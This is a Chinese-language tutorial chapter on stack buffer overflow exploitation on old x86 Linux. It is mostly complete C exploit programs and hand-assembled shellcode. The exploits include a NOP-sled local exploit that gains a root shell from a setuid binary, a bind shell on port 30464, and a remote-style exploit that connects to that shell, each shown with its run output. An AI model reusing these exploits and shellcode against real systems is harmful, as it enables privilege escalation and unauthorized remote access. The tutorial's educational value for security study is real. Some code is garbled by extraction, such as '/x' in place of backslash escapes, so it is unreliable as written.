堆棧溢出技術從入門到高深:利用堆棧溢出獲得shell
在《堆棧溢出技術從入門到高深:如何書寫shell code》中,筆者為大家介紹了一下堆棧的基礎知識以及shellcode基本算法等知識,下面本文繼續為讀者介紹如何利用堆棧溢出來獲得shell:
【相關推薦】: 堆棧溢出技術從入門到高深:windows系統下堆棧溢出
三、利用堆棧溢出獲得shell
好了,現在我們已經制造了一次堆棧溢出,寫好了一個shellcode。準備工作都已經作完,我們把二者結合起來,就寫出一個利用堆棧溢出獲得shell的程序。
overflow1.c
char shellcode[] ="/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh"
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
在執行完strcpy后,堆棧內容如下所示:
內存底部 內存頂部
buffer EBP ret
<------ [SSS...SSSA ][A ][A ]A..A
^&buffer
棧頂部 堆棧底部
注:S表示shellcode。A表示shellcode的地址。
這樣,在執行完strcpy后,overflow。c將從ret取出A作為返回地址,從而執行了我們的shellcode。
利用堆棧溢出獲得shell
現在讓我們進入最刺激的一講,利用別人的程序的堆棧溢出獲得rootshell。我們將面對一個有strcpy堆棧溢出漏洞的程序,利用前面說過的方法來得到shell。
回想一下前面所講,我們通過一個shellcode數組來存放shellcode,利用程序中的strcpy函數,把shellcode放到了程序的堆棧之中;我們制造了數組越界,用shellcode的開始地址覆蓋了程序(overflow.c)的返回地址,程序在返回的時候就會去執行我們的shellcode,從而我們得到了一個shell。當我們面對別人寫的程序時,為了讓他執行我們的shellcode,同樣必須作這兩件事:
1:把我們的shellcode提供給他,讓他可以訪問shellcode。
2:修改他的返回地址為shellcode的入口地址。
為了做到這兩條,我們必須知道他的strcpy(buffer,ourshellcode)中,buffer的地址。因為當我們把shellcode提供給strcpy之后,buffer的開始地址就是shellcode的開始地址,我們必須用這個地址來覆蓋堆棧才成。這一點大家一定要明確。我們知道,對于操作系統來說,一個shell下的每一個程序的堆棧段開始地址都是相同的。我們可以寫一個程序,獲得運行時的堆棧起始地址,這樣,我們就知道了目標程序堆棧的開始地址。
下面這個函數,用eax返回當前程序的堆棧指針。(所有C函數的返回值都放在eax寄存器里面):
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
我們在知道了堆棧開始地址后,buffer相對于堆棧開始地址的偏移,是他程序員自己寫出來的程序決定的,我們不知道,只能靠猜測了。不過,一般的程序堆棧大約是幾K左右。所以,這個buffer與上面得到的堆棧地址,相差就在幾K之間。顯然猜地址這是一件很難的事情,從0試到10K,會把人累死的。
前面我們用來覆蓋堆棧的溢出字符串為:
SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
現在,為了提高命中率,我們對他進行如下改進:用來溢出的字符串變為:
NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA
其中:N為NOP.NOP指令意思是什么都不作,跳過一個CPU指令周期。在intel機器上,NOP指令的機器碼為0x90。S為shellcode。A為我們猜測的buffer的地址。這樣,A猜大了也可以落在N上,并且最終會執行到S.這個改進大大提高了猜測的命中率,有時幾乎可以一次命中。好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆棧溢出漏洞來得到shell的程序:
exploit1.c
#include<stdio.h>
#include<stdlib.h>
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"/xeb/x1f" /* jmp 0x1f */
"/x5e" /* popl %esi */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %eax,0x7(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xd8" /* movl %ebx,%eax */
"/x40" /* inc %eax */
"/xcd/x80" /* int $0x80 */
"/xe8/xdc/xff/xff/xff" /* call -0x24 */
"/bin/sh" /* .string /"/bin/sh/" */
unsigned long get_sp(void)
{__asm__("movl %esp,%eax");}
main(int argc,char **argv)
{char buff[RET_POSITION+RANGE+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
*((long *)&(buff[i]))=addr;
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]="/0"
//現在buff的內容為
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA/0
printf("Jump to 0x%08x/n",addr);
execl("./vulnerable1","vulnerable1",buff,0);}
execl用來執行目標程序./vulnerable1,buff是我們精心制作的溢出字符串,作為./vulnerable1的參數提供。
以下是執行的結果:
[nkl10]$Content$nbsp;ls -l vulnerable1
-rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*
[nkl10]$Content$nbsp;ls -l exploit1
-rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*
[nkl10]$Content$nbsp;./exploit1
Jump to 0xbfffec64
Segmentation fault
[nkl10]$Content$nbsp;./exploit1 500
Jump to 0xbfffea70
bash# whoami
root
bash#
恭喜,恭喜,你獲得了root shell。
下一講,我們將進一步探討shellcode的書寫。我們將討論一些很復雜的shellcode。#p#
遠程堆棧溢出
我們用堆棧溢出攻擊守護進程daemon時,原理和前面提到過的本地攻擊是相同的。我們必須提供給目標daemon一個溢出字符串,里面包含了shellcode。希望敵人在復制(或者別的串處理操作)這個串的時候發生堆棧溢出,從而執行我們的shellcode。普通的shellcode將啟動一個子進程執行sh,自己退出。對于我們這些遠程的攻擊者來說,由于我們不在本地,這個sh我們并沒有得到。因此,對于遠程使用者,我們傳過去的shellcode就必須負擔起打開一個socket,然后listen我們的連接,給我們一個遠程shell的責任。
如何開一個遠程shell呢?我們先申請一個socketfd,使用30464(隨便,多少都行)作為這個socket連接的端口,bind他,然后在這個端口上等待連接listen。當有連接進來后,開一個子shell,把連接的clientfd作為子shell的stdin,stdout,stderr。這樣,我們遠程的使用者就有了一個遠程shell(跟telnet一樣啦)。
下面就是這個算法的C實現:
opensocket.c
1#include<unistd.h>
2#include<sys/socket.h>
3#include<netinet/in.h>
4int soc,cli,soc_len;
5struct sockaddr_in serv_addr;
6struct sockaddr_in cli_addr;
7int main()
8{
9 if(fork()==0)
10 {
11 serv_addr.sin_family=AF_INET;
12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
13 serv_addr.sin_port=htons(30464);
14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
15 bind(soc,(struct sockaddr *)&serv_addr,
sizeof(serv_addr));
16 listen(soc,1);
17 soc_len=sizeof(cli_addr);
18 cli=accept(soc,(struct sockaddr *)&cli_addr,
&soc_len);
19 dup2(cli,0);
20 dup2(cli,1);
21 dup2(cli,2);
22 execl("/bin/sh","sh",0);
23 }
24}
第9行的fork()函數創建了一個子進程,對于父進程fork()的返回值是子進程的pid,對于子進程,fork()的返回值是0.本程序中,父進程執行了一個fork就退出了,子進程作為socket通信的執行者繼續下面的操作。10到23行都是子進程所作的事情。首先調用socket獲得一個文件描述符soc,然后調用bind()綁定30464端口,接下來開始監聽listen().程序掛起在accept等待客戶連接。當有客戶連接時,程序被喚醒,進行accept,然后把自己的標準輸入,標準輸出,標準錯誤輸出重定向到客戶的文件描述符上,開一個子sh,這樣,子shell繼承了這個進程的文件描述符,對于客戶來說,就是得到了一個遠程shell。
看懂了嗎?嗯,對,這是一個比較簡單的socket程序,很好理解的。好,我們使用gdb來反編譯上面的程序:
[nkl10]$Content$nbsp;gcc -o opensocket -static opensocket.c
[nkl10]$Content$nbsp;gdb opensocket
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions.There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble fork
Dump of assembler code for function fork:
0x804ca90 <fork>: movl $0x2,%eax
0x804ca95 <fork+5>: int $0x80
0x804ca97 <fork+7>: cmpl $0xfffff001,%eax
0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error>
0x804caa2 <fork+18>: ret
0x804caa3 <fork+19>: nop
0x804caa4 <fork+20>: nop
0x804caa5 <fork+21>: nop
0x804caa6 <fork+22>: nop
0x804caa7 <fork+23>: nop
0x804caa8 <fork+24>: nop
0x804caa9 <fork+25>: nop
0x804caaa <fork+26>: nop
0x804caab <fork+27>: nop
0x804caac <fork+28>: nop
0x804caad <fork+29>: nop
0x804caae <fork+30>: nop
0x804caaf <fork+31>: nop
End of assembler dump.
(gdb) disassemble socket
Dump of assembler code for function socket:
0x804cda0 <socket>: movl %ebx,%edx
0x804cda2 <socket+2>: movl $0x66,%eax
0x804cda7 <socket+7>: movl $0x1,%ebx
0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx
0x804cdb0 <socket+16>: int $0x80
0x804cdb2 <socket+18>: movl %edx,%ebx
0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax
0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error>
0x804cdbd <socket+29>: ret
0x804cdbe <socket+30>: nop
0x804cdbf <socket+31>: nop
End of assembler dump.
(gdb) disassemble bind
Dump of assembler code for function bind:
0x804cd60 <bind>: movl %ebx,%edx
0x804cd62 <bind+2>: movl $0x66,%eax
0x804cd67 <bind+7>: movl $0x2,%ebx
0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx
0x804cd70 <bind+16>: int $0x80
0x804cd72 <bind+18>: movl %edx,%ebx
0x804cd74 <bind+20>: cmpl $0xffffff83,%eax
0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error>
0x804cd7d <bind+29>: ret
0x804cd7e <bind+30>: nop
0x804cd7f <bind+31>: nop
End of assembler dump.
(gdb) disassemble listen
Dump of assembler code for function listen:
0x804cd80 <listen>: movl %ebx,%edx
0x804cd82 <listen+2>: movl $0x66,%eax
0x804cd87 <listen+7>: movl $0x4,%ebx
0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx
0x804cd90 <listen+16>: int $0x80
0x804cd92 <listen+18>: movl %edx,%ebx
0x804cd94 <listen+20>: cmpl $0xffffff83,%eax
0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error>
0x804cd9d <listen+29>: ret
0x804cd9e <listen+30>: nop
0x804cd9f <listen+31>: nop
End of assembler dump.
(gdb) disassemble accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>: movl %ebx,%edx
0x804cd42 <__accept+2>: movl $0x66,%eax
0x804cd47 <__accept+7>: movl $0x5,%ebx
0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx
0x804cd50 <__accept+16>: int $0x80
0x804cd52 <__accept+18>: movl %edx,%ebx
0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax
0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>
0x804cd5d <__accept+29>: ret
0x804cd5e <__accept+30>: nop
0x804cd5f <__accept+31>: nop
End of assembler dump.
(gdb) disassemble dup2
Dump of assembler code for function dup2:
0x804cbe0 <dup2>: movl %ebx,%edx
0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx
0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx
0x804cbea <dup2+10>: movl $0x3f,%eax
0x804cbef <dup2+15>: int $0x80
0x804cbf1 <dup2+17>: movl %edx,%ebx
0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax
0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error>
0x804cbfe <dup2+30>: ret
0x804cbff <dup2+31>: nop
End of assembler dump.
現在可以寫上面c代碼的匯編語句了。
fork()的匯編代碼
char code[]=
"/x31/xc0" /* xorl %eax,%eax */
"/xb0/x02" /* movb $0x2,%al */
"/xcd/x80" /* int $0x80 */
socket(2,1,6)的匯編代碼
注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6
/* socket使用66號系統調用,1號子調用。 */
/* 他使用一段內存塊來傳遞參數2,1,6。 */
/* %ecx 里面為這個內存塊的地址指針. */
char code[]=
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xf1" /* movl %esi,%ecx */
"/xb0/x02" /* movb $0x2,%al */
"/x89/x06" /* movl %eax,(%esi) */
/* 第一個參數 */
/* %esi 指向一段未使用的內存空間 */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
/* 第二個參數 */
"/xb0/x06" /* movb $0x6,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
/* 第三個參數. */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x01" /* movb $0x1,%bl */
"/xcd/x80" /* int $0x80 */
------------------------------------------------------------------------
bind(soc,(struct sockaddr *)&serv_addr,0x10)的匯編代碼
------------------------------------------------------------------------
/* bind使用66號系統調用,2號子調用。 */
/* 他使用一段內存塊來傳遞參數。 */
/* %ecx 里面為這個內存塊的地址指針. */
char code[]="/x89/xf1" /* movl %esi,%ecx */
"/x89/x06" /* movl %eax,(%esi) */
/* %eax 的內容為剛才socket調用的返回值, */
/* 就是soc文件描述符,作為第一個參數 */
"/xb0/x02" /* movb $0x2,%al */
"/x66/x89/x46/x0c" /* movw %ax,0xc(%esi) */
/* serv_addr.sin_family=AF_NET(2) */
/* 2 放在 0xc(%esi). */
"/xb0/x77" /* movb $0x77,%al */
"/x66/x89/x46/x0e" /* movw %ax,0xe(%esi) */
/* 端口號(0x7700=30464)放在 0xe(%esi) */
"/x8d/x46/x0c" /* leal 0xc(%esi),%eax */
/* %eax = serv_addr 的地址 */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
/* 第二個參數. */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x10" /* movl %eax,0x10(%esi) */
/* serv_addr.sin_addr.s_addr=0 */
"/xb0/x10" /* movb $0x10,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
/* 第三個參數 . */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x02" /* movb $0x2,%bl */
"/xcd/x80" /* int $0x80 */
------------------------------------------------------------------------
listen(soc,1)的匯編代碼
------------------------------------------------------------------------
/* listen使用66號系統調用,4號子調用。 */
/* 他使用一段內存塊來傳遞參數。 */
/* %ecx 里面為這個內存塊的地址指針. */
char code[]=
"/x89/xf1" /* movl %esi,%ecx */
"/x89/x06" /* movl %eax,(%esi) */
/* %eax 的內容為剛才socket調用的返回值, */
/* 就是soc文件描述符,作為第一個參數 */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
/* 第二個參數. */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x04" /* movb $0x4,%bl */
"/xcd/x80" /* int $0x80 */
------------------------------------------------------------------------
accept(soc,0,0)的匯編代碼
------------------------------------------------------------------------
/* accept使用66號系統調用,5號子調用。 */
/* 他使用一段內存塊來傳遞參數。 */
/* %ecx 里面為這個內存塊的地址指針. */
char code[]=
"/x89/xf1" /* movl %esi,%ecx */
"/x89/xf1" /* movl %eax,(%esi) */
/* %eax 的內容為剛才socket調用的返回值, */
/* 就是soc文件描述符,作為第一個參數 */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
/* 第二個參數. */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
/* 第三個參數. */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x05" /* movb $0x5,%bl */
"/xcd/x80" /* int $0x80 */
------------------------------------------------------------------------
dup2(cli,0)的匯編代碼
------------------------------------------------------------------------
/* 第一個參數為 %ebx, 第二個參數為 %ecx */
char code[]=
/* %eax 里面是剛才accept調用的返回值, */
/* 客戶的文件描述符cli . */
"/x88/xc3" /* movb %al,%bl */
"/xb0/x3f" /* movb $0x3f,%al */
"/x31/xc9" /* xorl %ecx,%ecx */
"/xcd/x80" /* int $0x80 */
------------------------------------------------------------------------
現在該把這些所有的細節都串起來,形成一個新的shell的時候了。
new shellcode
------------------------------------------------------------------------
char shellcode[]=
00 "/x31/xc0" /* xorl %eax,%eax */
02 "/xb0/x02" /* movb $0x2,%al */
04 "/xcd/x80" /* int $0x80 */
06 "/x85/xc0" /* testl %eax,%eax */
08 "/x75/x43" /* jne 0x43 */
/* 執行fork(),當fork()!=0 的時候,表明是父進程,要終止 */
/* 因此,跳到0x43+a=0x4d,再跳到后面,執行 exit(0) */
0a "/xeb/x43" /* jmp 0x43 */
/* 當fork()==0 的時候,表明是子進程 */
/* 因此,跳到0x43+0c=0x4f,再跳到后面,執行 call -0xa5 */
0c "/x5e" /* popl %esi */
0d "/x31/xc0" /* xorl %eax,%eax */
0f "/x31/xdb" /* xorl %ebx,%ebx */
11 "/x89/xf1" /* movl %esi,%ecx */
13 "/xb0/x02" /* movb $0x2,%al */
15 "/x89/x06" /* movl %eax,(%esi) */
17 "/xb0/x01" /* movb $0x1,%al */
19 "/x89/x46/x04" /* movl %eax,0x4(%esi) */
1c "/xb0/x06" /* movb $0x6,%al */
1e "/x89/x46/x08" /* movl %eax,0x8(%esi) */
21 "/xb0/x66" /* movb $0x66,%al */
23 "/xb3/x01" /* movb $0x1,%bl */
25 "/xcd/x80" /* int $0x80 */
/* 執行socket(),eax里面為返回值soc文件描述符 */
27 "/x89/x06" /* movl %eax,(%esi) */
29 "/xb0/x02" /* movb $0x2,%al */
2d "/x66/x89/x46/x0c" /* movw %ax,0xc(%esi) */
2f "/xb0/x77" /* movb $0x77,%al */
31 "/x66/x89/x46/x0e" /* movw %ax,0xe(%esi) */
35 "/x8d/x46/x0c" /* leal 0xc(%esi),%eax */
38 "/x89/x46/x04" /* movl %eax,0x4(%esi) */
3b "/x31/xc0" /* xorl %eax,%eax */
3d "/x89/x46/x10" /* movl %eax,0x10(%esi) */
40 "/xb0/x10" /* movb $0x10,%al */
42 "/x89/x46/x08" /* movl %eax,0x8(%esi) */
45 "/xb0/x66" /* movb $0x66,%al */
47 "/xb3/x02" /* movb $0x2,%bl */
49 "/xcd/x80" /* int $0x80 */
/* 執行bind() */
4b "/xeb/x04" /* jmp 0x4 */
/* 越過下面的兩個跳轉 */
4d "/xeb/x55" /* jmp 0x55 */
/* 跳到0x4f+0x55=0xa4 */
4f "/xeb/x5b" /* jmp 0x5b */
/* 跳到0x51+0x5b=0xac */
51 "/xb0/x01" /* movb $0x1,%al */
53 "/x89/x46/x04" /* movl %eax,0x4(%esi) */
56 "/xb0/x66" /* movb $0x66,%al */
58 "/xb3/x04" /* movb $0x4,%bl */
5a "/xcd/x80" /* int $0x80 */
/* 執行listen() */
5c "/x31/xc0" /* xorl %eax,%eax */
5e "/x89/x46/x04" /* movl %eax,0x4(%esi) */
61 "/x89/x46/x08" /* movl %eax,0x8(%esi) */
64 "/xb0/x66" /* movb $0x66,%al */
66 "/xb3/x05" /* movb $0x5,%bl */
68 "/xcd/x80" /* int $0x80 */
/* 執行accept(),eax里面為返回值cli文件描述符 */
6a "/x88/xc3" /* movb %al,%bl */
6c "/xb0/x3f" /* movb $0x3f,%al */
6e "/x31/xc9" /* xorl %ecx,%ecx */
70 "/xcd/x80" /* int $0x80 */
72 "/xb0/x3f" /* movb $0x3f,%al */
74 "/xb1/x01" /* movb $0x1,%cl */
76 "/xcd/x80" /* int $0x80 */
78 "/xb0/x3f" /* movb $0x3f,%al */
7a "/xb1/x02" /* movb $0x2,%cl */
7c "/xcd/x80" /* int $0x80 */
/* 執行三個dup2() */
7e "/xb8/x2f/x62/x69/x6e" /* movl $0x6e69622f,%eax */
/* %eax="/bin" */
83 "/x89/x06" /* movl %eax,(%esi) */
85 "/xb8/x2f/x73/x68/x2f" /* movl $0x2f68732f,%eax */
/* %eax="/sh/" */
8a "/x89/x46/x04" /* movl %eax,0x4(%esi) */
8d "/x31/xc0" /* xorl %eax,%eax */
8f "/x88/x46/x07" /* movb %al,0x7(%esi) */
92 "/x89/x76/x08" /* movl %esi,0x8(%esi) */
95 "/x89/x46/x0c" /* movl %eax,0xc(%esi) */
98 "/xb0/x0b" /* movb $0xb,%al */
9a "/x89/xf3" /* movl %esi,%ebx */
9c "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
9f "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
a2 "/xcd/x80" /* int $0x80 */
/* 執行execve() */
/* 運行/bin/sh() */
a4 "/x31/xc0" /* xorl %eax,%eax */
a6 "/xb0/x01" /* movb $0x1,%al */
a8 "/x31/xdb" /* xorl %ebx,%ebx */
aa "/xcd/x80" /* int $0x80 */
/* 執行exit() */
ac "/xe8/x5b/xff/xff/xff" /* call -0xa5 */
/* 執行0x0c處的指令 */
b1
------------------------------------------------------------------------
好,長長的shell終于寫完了,下面就是攻擊程序了。#p#
exploit4.c
------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 200
#define NOP 0x90
char shellcode[]=
"/x31/xc0" /* xorl %eax,%eax */
"/xb0/x02" /* movb $0x2,%al */
"/xcd/x80" /* int $0x80 */
"/x85/xc0" /* testl %eax,%eax */
"/x75/x43" /* jne 0x43 */
"/xeb/x43" /* jmp 0x43 */
"/x5e" /* popl %esi */
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xf1" /* movl %esi,%ecx */
"/xb0/x02" /* movb $0x2,%al */
"/x89/x06" /* movl %eax,(%esi) */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/xb0/x06" /* movb $0x6,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x01" /* movb $0x1,%bl */
"/xcd/x80" /* int $0x80 */
"/x89/x06" /* movl %eax,(%esi) */
"/xb0/x02" /* movb $0x2,%al */
"/x66/x89/x46/x0c" /* movw %ax,0xc(%esi) */
"/xb0/x77" /* movb $0x77,%al */
"/x66/x89/x46/x0e" /* movw %ax,0xe(%esi) */
"/x8d/x46/x0c" /* leal 0xc(%esi),%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x10" /* movl %eax,0x10(%esi) */
"/xb0/x10" /* movb $0x10,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x02" /* movb $0x2,%bl */
"/xcd/x80" /* int $0x80 */
"/xeb/x04" /* jmp 0x4 */
"/xeb/x55" /* jmp 0x55 */
"/xeb/x5b" /* jmp 0x5b */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x04" /* movb $0x4,%bl */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x05" /* movb $0x5,%bl */
"/xcd/x80" /* int $0x80 */
"/x88/xc3" /* movb %al,%bl */
"/xb0/x3f" /* movb $0x3f,%al */
"/x31/xc9" /* xorl %ecx,%ecx */
"/xcd/x80" /* int $0x80 */
"/xb0/x3f" /* movb $0x3f,%al */
"/xb1/x01" /* movb $0x1,%cl */
"/xcd/x80" /* int $0x80 */
"/xb0/x3f" /* movb $0x3f,%al */
"/xb1/x02" /* movb $0x2,%cl */
"/xcd/x80" /* int $0x80 */
"/xb8/x2f/x62/x69/x6e" /* movl $0x6e69622f,%eax */
"/x89/x06" /* movl %eax,(%esi) */
"/xb8/x2f/x73/x68/x2f" /* movl $0x2f68732f,%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %al,0x7(%esi) */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/xb0/x01" /* movb $0x1,%al */
"/x31/xdb" /* xorl %ebx,%ebx */
"/xcd/x80" /* int $0x80 */
"/xe8/x5b/xff/xff/xff" /* call -0xa5 */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
long getip(char *name)
{
struct hostent *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can"t resolve host./n");
exit(0);
}
memcpy(&ip,(hp->h_addr),4);
}
return ip;
}
int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
int connect_sh(long ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf("Connect to the shell/n");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can"t create socket/n");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf("Can"t connect to the shell/n");
exit(0);
}
return sockfd;
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
int sockfd;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]="/0"
printf("Jump to 0x%08x/n",addr);
if(fork()==0)
{
execl("./vulnerable","vulnerable",buff,0);
exit(0);
}
sleep(5);
sockfd=connect_sh(getip("127.0.0.1"));
exec_sh(sockfd);
}
------------------------------------------------------------------------
----
算法很簡單,先生成溢出串,格式為:NNNNSSSSAAAA。然后起一個子進程執行目標程序來模擬網絡daemon,參數為我們的字符串。好,堆棧溢出發生了。我們的shellcode被執行,那么在30464端口就會有server在listen了。父進程睡五秒,等待這些完成。就連接本機的端口30464。連接建立后,從socket讀取收到的字符串,打印到標準輸出,從標準輸入讀取字符串,傳到socket的server端下面來試一試:我們先寫一個漏洞程序:
vulnerable.C
------------------------------------------------------------------------
#include <stdio.h>
int main(int argc,char ** argv)
{
char buffer[1000];
printf("I am here%x,buffer%d/n",buffer,strlen(argv[1]));
strcpy(buffer,argv[1]);
return 0;
}
------------------------------------------------------------------------
[nkl10]$Content$nbsp;./exploit
Jump to 0xbffff63c
I am herebffff280,buffer1224
Connect to the shell
Can"t connect to the shell
看到了嗎?我在vulnerable.C里面加入了一個printf,打印buffer的首地址,這樣就可以不用猜了。0xbffff63c-0xbffff280 = 956,好,就用956來進行偏移。
[nkl10]$./exploit 956
Jump to 0xbffff280
I am herebffff280,buffer1224
connect to shell
whoami
root
id
uid=0(root)......
uname -a
Linux localhost.localdomain 2.2.5-15。。。
大功告成了。